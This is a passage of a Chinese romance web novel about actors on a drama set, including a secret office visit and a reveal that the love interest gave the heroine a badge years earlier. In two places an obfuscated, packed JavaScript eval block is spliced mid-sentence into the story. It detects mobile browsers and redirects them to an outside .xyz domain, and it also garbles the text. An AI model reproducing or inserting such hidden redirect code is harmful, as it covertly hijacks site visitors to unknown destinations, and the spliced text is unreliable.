在原著故事中,主角团的人数是逐步增加的,新来这位就是后面加入的主角成员之一,只是他的出场偏晚,《诸灵Ⅰ》里的戏份并不多,除此外,他还跟阿似有着一点血缘关系。 他是阿似的表弟,千影。 而阿似的全名,便是千似。 扮演千影的董乐举起酒杯,将杯中酒一饮而尽,“很高兴认识大家,未来请哥哥姐姐们多指教,小弟先干为敬。” “嚯,小伙子牛逼啊!”方想反扒在椅子上,看面前这位刚满二十的小男生咕咚咕咚把酒喝个干净,他直拍胸脯,“这也太上道了,就冲你这份诚意,以后哥罩你!” 舒妤就没有他这么热情,她只是对董乐点点头,接着回身评价,“这位小弟弟对自己倒挺狠的。” 元时亦也这么想,那可是一满杯白酒,就算胃里提前垫了食物,也不会好受。 “豁得出去,”周泽洋低声附和道,随即他看向元时亦,“不愧是表弟,跟你一样。” 元时亦很想说其实并不一样。 她可以为了角色而剪掉长发,但不会因为尽兴而去喝伤身的酒。 发型是角色需要,酒不是。 元时亦没能把话说出来,董乐过来跟她打招呼,“表姐。” “嗯,表弟。”元时亦应声。 据江燚所说,千影的饰演者一样难选,这点倒是与她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290616|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一致。 千影是同样沉默寡言的水之灵,与阿似不同的地方在于,他的沉默来自于心思深沉,情绪稳定,年轻,但看破不说破,智慧且成熟,简单说,少年感的爹。 圈子里这个类型并不多见,江燚找得很辛苦。他其实可以把年龄再放宽点,可终究不甘心,千影最大的反差感就来自于他那张年少却可靠的脸,他把年龄限死在十八至二十二之间,可以往小了挑,但大一岁都不行,除非是演员本人完全不显年纪。 数月后,他只找到这么一个勉强符合的。硬要说,董乐也并非完全适配他的要求,董乐的眼睛透着一股超出年龄的精明,如果他不帮忙调整好人物神态,就很容易让观众出戏。 没有更好的办法,项目要正常进行,他没有那么多时间。 董乐戏份很少,他不算第一部的主角,没必要在这个时候去上课程,江燚把董乐丢给元时亦,让她帮忙教点基础的柔术跟礼仪。 元时亦是有些头疼的。 董乐很浮躁,他急于求成,静不下心,而水之灵不该如此。 她不得不上手纠正他的动作。 “千影,这里不对,你太端着了,”元时亦拍下他的胸脯,将他的肩尽量按平,“要再松弛一点。” 她想到当初学柔术时,肢体偶尔也会僵住,可阿似僵硬勉强还算符合人设,千影却不行,他是一位靠谱的年轻人,可以游刃有余地解决所有问题。他不能端,不能绷,要从容面对一切。 就在她再一次帮他调整体态时,一道熟悉的人影出现在片场入口。 元时亦紧急缩回手腕。 “怎么了表姐?”董乐问她。 “没事。”元时亦含了含眸。 没再直接接触董乐,她手指悬停在空中指点。 半小时后,元时亦休息。 她找去最里侧的走廊,然后,被人拉进空荡房间。 门反锁。 清冽海风刹那间包裹她的全身,颜屿轻轻抱住她。 “就抱一下。” 元时亦不自觉伸手攀上后背,下巴抵在他的颈侧。 “怎么突然过来了?” 颜屿最近很忙,公事缠身,那日的杀青宴都无法赶来,只在微信上跟丁除祝了句杀青快乐。 “接洽一个活动,”颜屿放开她,目光灼热与她对视,“顺便来看你。” 元时亦被盯得错开眼神,耳尖上升一度。 颜屿歪动脑袋,挡在她视线前,“不想我来?” “没有,”元时亦只好看回去,温度在脸侧蔓延开,“想你来。” “那我就放心了。”几个字说得风轻云淡,可他明明看到了刚才景象,却不点破。 元时亦鼓鼓嘴,“那个是表弟,千影,我在纠正他的姿势。” “我知道,”颜屿去蹭她的鼻尖,“不是吃醋。” “真的?” “嗯,这都要吃的话,那你之前的试镜怎么算?”颜屿挑起一条眉看她。 是她初见他那次,他在观察室,看程寺河揽她的腰,邀她跳舞。 元时亦脸上烧了烧,还说不吃,记到现在。 可这样的话,他那时就对她动心了吗? 这么早? 元时亦忽然想起三月跟她说的,他岂不是早就知道她是谁。 那他到底是什么时候知道的,还是在此之前就知道? “你什么时候——” “表姐!”董乐的声音突然响在外侧走廊,“时亦姐!” 乍然的叫喊,将元时亦思绪拉断。 元时亦心中一惊,这声音正在逐渐靠近。 抬眸,她看见颜屿微凝眉,然后,在声音抵至门外的这一刻,吻住她。 38. 照片 海风依旧温柔,只是一点点碾磨她,蚕食她。 走廊脚步停止,“叩、叩”两道敲门声顺势响起,“时亦姐,你在里面吗?” 元时亦下意识睁开眼,风就在这一瞬闯入,她心跳漏半拍,而颜屿长眸半阖,并未看她,只是直直盯住门外方向,将眸色压沉。 那是因被打扰而产生的不满。 颜屿捧住她的脸,不想她分心。 好在门外人并不执着,见房内无人回应便径直离去。 元时亦精神终于缓和下来,身体放松的瞬间,整个人倒在面前人的怀里。 她被吻得有些瘫软,唇瓣上酥酥麻麻,很舒服,也很刺激。 她知道颜屿锁了门,她不担心。 只是毫无心理准备,还仅仅一门之隔。 慌乱,又荒唐。 颜屿没有吻太久,怕真的有人找她。 他不是放纵之人,从来都能很好地克制情绪。 只是自那天开始,好像有什么地方变了。 元时亦站直身体,颜屿一只手环在她腰侧,搂得很紧。 她仰颌瞪他,“不是说就抱一下吗?” 颜屿移开目光,躲避她的质问,“是我高估自己的定力了。” 元时亦轻哼一声,“就知道你的话不能全信。” 颜屿没敢否认,不止这句,他以前说过的某些话,也是不能全信的。 - 周一。 元时亦收工很早,跟江燚打过招呼,她准备下戏去休息。 而这位大导演面色有些愁。 “怎么了江导?”她不免关心一句。 “宣传上的事我也不是太懂,”江燚拿着手里的平板滑来滑去,“小元你看,这些照片的风格有区别吗?” 屏幕上是各个角色的定妆照。 元时亦大致浏览一遍,随后指着其中三张道,“这几张好像不太合适。” 不论是背景还是服装造型,都有些偏离主题。 她定睛一看,才发现有一张是董乐的,P得都有点不像本人了,另外两张,则是其他配角的照片。 元时亦看得很准,江燚不禁叹声,“看来还真是。哎,毕竟都是后面进来的角色,肯定没办法做到那么统一的,但剧宣那边非说不行,要重拍。” 选角一向严格的江燚居然会在这种事上“放水”,元时亦笑了笑,“有时间的话,最好是重拍下,尽善尽美嘛。” “也是。”江燚点头,随即问后方助理,“公车还没回来吗?” “没呢,堵高架上了。” 这个点正是中午,按理说不在高峰期,可这是九月的沪城,任何一点小意外都有可能造成交通拥堵。 “怎么了吗?”元时亦问。 “我先给董乐约了今天重拍,可还没车,最近组里用车多。” 董乐是他从某个小经纪公司挖到的,只拍过两三部电影,还都是男三男四的角色,勉强算得上是个十八线艺人。 公司不大,人也不红,自然就没什么福利特权,没有专用车,连助理也得剧组里配备。 “下午吗,去合一?” 定妆照原本都在附近的摄影基地拍摄,只是棚子上星期刚拆,补拍只能去合一大楼影视部。 “对。” 元时亦下午倒是有空,想了想,她对江燚道,“不然我带他去吧,反正我今天也没通告了。” “你方便……”江燚说到这,忽然想到什么,连忙点起头,“行行行,你带他去,正好我下午也挺忙,你去的话还能帮着指导指导。” 元时亦:…… 也不必如此明显,她只是觉得之前老被人探班,那她也不是不能找个机会探探楼。 好吧,她是挺想颜屿的。 自上次他来剧组对接宣传活动后,她有好几天没见到他了。 如果可以的话,她想看看他。 保姆车内。 小芙去了副驾驶,董乐则坐到元时亦身边。 “多谢时亦姐。” “不客气。” “我之前看咱俩角色都姓千,还以为是堂姐弟呢。”董乐跟她搭话。 元时亦抬眼看过去,语气平直,似不带情绪,“阿似随母姓,你没有看过原著?” “啊,看、看过的。”没想到元时亦会这样回复他,董乐一时紧张起来,小声解释,“可能是我看得不太仔细。” 原著只提过那么一句,如果看得不仔细,的确会注意不到。 元时亦收回眼神,没再说什么。 两点不到,一行人抵达摄影棚。 元时亦给造型师跟摄影师交代完,去盯了下化妆进度。 “不要给他化太浓了,保留原始状态会更好。” 化妆师忙应声,“好的好的。” 董乐抬着眼问她,“那拍出来效果会不会不好呀。” “不会,”元时亦直话直说,“你的外表本就符合千影,没必要画蛇添足。” 董乐闭起眼等化妆师给他上眼妆,小幅度地点了下头,“好,都听表姐的。” 等到正式开拍,元时亦看看时间,快四点了。 几轮拍摄结束,她将路芙拉到一旁,“小芙,你在这盯着,我半个小时后回来。” “啊?我一个人,这是可以的吗?”路芙指着自己,不确定地问。 “嗯,已经拍得很顺了,不会有大问题。我去忙点事,一会就回来。” “好的吧。”路芙盯着元时亦头也不回的背影,喃喃出声,她姐最近总是神神秘秘的,似乎藏了件大事。 元时亦戴好口罩,走去电梯。颜屿曾告诉过她他的办公楼层,就是不知,她这么直接过去,会不会有些唐突。 电梯在上升途中停下,有其他人上来。 她没有带来帽子,只能尽量把头压低,避免被人认出。 而走进电梯的这位男人,却似乎很想认出她。 他频频回头,甚至还弯下身观察她裸露在外的半张脸。 元时亦被看得有点不自在,不是说互联网公司的人大部分都偏I吗,这位是不是太E了点。 在她实在忍受不住回视过去时,男人终于了然般开口:“你是元时亦老师吗?” 元时亦本想摇头,然而男人又加上一句,“过来找颜屿的?” 元时亦:??? 哈?合一公司随便一个人都知道她跟颜屿的关系了? 可这个人并不是随便。 夏季拍拍胸脯,自顾自的介绍,“我是夏季,颜屿的好兄弟。你来找他的话最好不要从这边过去,会被同事看到。” 夏季? 如果她没记错的话,这位也是创始人之一。 元时亦松口气,幸好,他是颜屿的好朋友,而且听这番话,他似乎,不算外人? “那我从哪里过去会好一点?”元时亦低声询问。 她本是想通过前台先找到陆齐,由那位陆助带过去,应该不会太显眼。 “坐专用梯,”夏季说完按下楼层,“算了,还是我带你过去吧。” 专用梯,自然不是什么人都能上的。 他带着元时亦绕了几段路,才总算避着视线抵达能直通颜屿办公室的那座电梯。 两人一前一后进去。 夏季问:“你没跟他说过来找他吗?” 不然他不会在这里碰见她。 “嗯,没有。” “哦我知道了,惊喜,是吧。”夏季很佩服自己的聪明才智,完全不知这话说出来有多直。 元时亦被说得有些不好意思,气息呼在黑色口罩内,有点热。 她尝试着转移话题,“他在公司,还好吧?” “挺好的呀,呼风唤雨的。”主策嘛,不就是把需求一提,然后让他们这些下游拼命给他干活。 呼风唤雨? 元时亦没太理解,他不是都不能碰核心业务吗? “这么说他还是有一定权力的?” “那当然。”何止一定,那是非常的有权力。 “可你们上层不是让他管理影视部门,不允许他参与太多游戏上的事吗?” 夏季头上顿时冒出三个问号,“什么上层?他就是公司老大啊。” 于是五分钟后,颜屿从会议室飞快赶回时,就看到元时亦靠在办公桌边,抱起胳膊,一脸不悦地望他,很明显,在生气。 颜屿眼神询问夏季:你都跟她说什么了? 夏季:兄弟,我啥也没说啊,她问啥我答啥。 猜到是在车上骗她的事败露,颜屿凑过去想牵她的手,却被她甩开。 “是我不好,我不该骗你。” 有其他人在场,元时亦不好发作,只冷眼冷面与他对视。 他居然敢骗她! 利用她的心软,让她主动那样那样他! 这个心机的狗男人。 她绝对不可能再心疼他,再可怜他,绝对不可能!! 颜屿瞟瞟后方,给那个看热闹不嫌事大的吃瓜人发去暗示:先走。 心思一贯直来直去的夏季并未翻译出正确含义,他以为颜屿是在说:帮忙。 于是他迅速上去打圆场,“虽然不知道元老师是因为什么事生气,但我发誓,颜屿绝对忠诚,几年前我在这看到你的照片唔……” 颜屿皱眉闭眼恨不能把夏季直接捂死。 他把人拖着往外赶。 “什么照片?” 元时亦却没有给他这个机会。 颜屿赶紧回:“没什么。” “颜屿。” 元时亦声线低下一度,她真的有点不高兴了。 她就知道他还有其他秘密瞒着她。 就是不知,夏季所指的照片是什么。尤其,几年前?这个时间点远比她想的要早。 颜屿赶忙过来安抚,“别生气,我给你看。”说话的同时,一抹极淡的赤色染上耳根,元时亦很少见他这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298985|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,到底什么照片,至于让他这么紧张—— 竟是七年前,她刚十九岁,表演完第一次话剧演出那天。 她为什么能认出时间,是因为照片上,她正拿着人生中收到的第一份礼物。 那时,因为太过喜悦,她回家后便在微博上发了一张自拍照,只是并未留存太久,因为那些与生活相关的分享,在她正式决定进入娱乐圈后,就被她全部隐藏了。 这张照片,不会有几个人知道。 而且,元时亦仔细观察,虽然很像,但与记忆中并不完全一致,她拿出手机,找出那张照片进行比对。 果然,并非同一张,她发的那张是自拍,而颜屿的这张是他拍。 这怎么可能? 除非—— 元时亦仰头看他,而面前男人眼里透出慌张与不安,他在等待他的最终判决。 启唇,她将那个唯一的可能说出口。 “你就是送我徽章的那个男生?” 她记得那时老师匆忙间将她叫走,她只来得及让男生拍下一张照片以做感谢。 颜屿却只是看着她,并未说话。 是默认。 得到答案的这一瞬,元时亦猛地顿住,气息被攥在喉咙中,忘记了人是要呼吸的。 她手机还捏着比对照片的手机,指尖无意识蜷起,手机壳被捏出一道浅印。直到海风吹起她的发丝,她才真正意识到,她知晓了什么。 她收到的第一份礼物,竟然来自于颜屿。 怎么会来自于颜屿? 那是七年前,她十九岁。 他怎么会在那个时候就已经给她送过礼物? 无数条细小的藤蔓缠绕上她的心脏,不知在何时,那些她注意不到的地方,早已布满绿枝青叶,它们关注她,看着她,等她有朝一日,发现它,触碰它,拨开它。 难怪。 难怪他那条项链上坠着同种款式的徽章。 难怪他家园花海里摆出的是同种设计的图案。 元时亦心情很复杂,她找不到可以用来形容的词语。 是惊愕,是意外,是难以置信。 也是惊喜,是心动,是无法言说。 而他会在那时就送她礼物,证明他对她的情意,还要比她想得早,更早。 夏季咂咂嘴,“啧,几年前看到照片的时候,我是真没想到他会来真的。” “反正不管是娱乐圈还是什么圈,只要你站在那,勾勾手,他立马就能屁颠屁颠跑过去。” 颜屿咳嗽出声,警告夏季。 “怎么,我说的不对吗?” 颜屿本不想接话,可她都已知道得透彻,那还有什么必要再瞒呢? “嗯,”颜屿纠正,“没那么慢。” 很普通的四个字,却也很真诚的四个字。 元时亦心脏从一开始的缓慢跳跃,到后知后觉的加快速度,再到他纠正完后的疯狂冲刺。她紧张地捏他的手,不准他再说。 瓦数超大版电灯泡·夏季,终于在这一刻反应:我特么就多余在这。 旁人离去,颜屿总算不用再收敛,他原是想趁这个机会好好与她亲近亲近,可被人打扰大半不说,他的小秘密也被发现。 他无奈地靠过去,双手环于她身侧,将她抵在办公桌前,然后,俯下首,埋进她的颈间。 元时亦听见一道闷闷的声音从颈侧传来,“现在,你都知道了。” 不算高涨的心情,有些许低落。 “所以你早就知道我是亦有时?” “嗯,对我来说,弄到的你账号并不难,至少比进亲友队要简单。” 猜想了好久的问题就这么轻而易举地得到解答,元时亦并不觉得失望,因为,她的注意力已完全被另一件事吸引走。 “那你是什么时候对我——” 她还想知道更多。 “这个,以后再告诉你,好吗?”颜屿不愿多说,只是用脑袋蹭她,哀求她。被这样剖白在她面前,他很难为情。 “骗你是我不对,以后我不会再这么做。” “至于以前的事,后面你可以慢慢找我算账。” “为什么要等后面,现在不可以吗?” 元时亦把他扶正,问他。 他已经躲在她身前很久了,就这么害怕? 她是有点生气他骗她,可那时的理由是出于索吻,硬要说,她并不会讨厌。 再加现在,得知礼物一事,她又哪里还会继续生气下去。 颜屿垂下眸看她,很委屈很可怜,也很让人心疼。 “回答我。” 颜屿音量压得很低,“那就现在,你说吧,我听着。” 元时亦忍不住笑自己,刚刚信誓旦旦说着不会再心疼这个男人,可一旦他露出现在这副表情,她依旧招架不住。 行吧,她承认,再过一百次一千次,她也还是会心疼他。 没有说话,元时亦捧着他的脸,轻轻吻上去。